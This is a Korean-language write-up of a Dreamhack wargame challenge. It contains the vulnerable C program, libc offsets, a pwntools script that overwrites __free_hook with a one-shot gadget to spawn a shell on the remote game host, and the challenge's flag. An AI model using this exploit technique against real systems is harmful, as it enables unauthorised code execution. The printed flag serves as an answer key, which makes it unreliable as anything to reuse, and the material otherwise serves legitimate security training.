Desciption
이 문제는 작동하고 있는 서비스(hook)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 _hook Overwrite 공격 기법으로 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
checksec
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } int main(int argc, char *argv[]) { long *ptr; size_t size; initialize(); printf("stdout: %p\n", stdout); printf("Size: "); scanf("%ld", &size); ptr = malloc(size); printf("Data: "); read(0, ptr, size); *(long *)*ptr = *(ptr+1); free(ptr); free(ptr); system("/bin/sh"); return 0; }
Solution
oneshot_gadget = 0x4527a
libc_base = (출력되는 stdout 주소) – 0x3C5620 (IDA에서 가져온 .data:00000000003C5620 IO_2_1_stdout)
.bss:00000000003C67A8 __free_hook에 oneshot_gadget주소를 넣어 쉘이 실행되도록 만든다.
solve.py
from pwn import * warnings.filterwarnings('ignore') p = remote('host3.dreamhack.games', 20025) libc_base = p.recvuntil("Size: ") libc_base = str(libc_base).split(": ")[1][:-6] libc_base = int(libc_base, 16) print("libc_base: " + hex(libc_base)) p.sendline(b"1024") p.recvuntil("Data: ") libc_base = libc_base - 0x3C5620 oneshot_gadget = libc_base + 0x4527a free_hook = libc_base + 0x3C67A8 payload = p64(free_hook) payload += p64(oneshot_gadget) p.sendline(payload) p.interactive()
FLAG
DH{c5e5c5c0a45d71d2666571ab2dc09cf4c4e750402ab4bb4c8a57091063ee7418}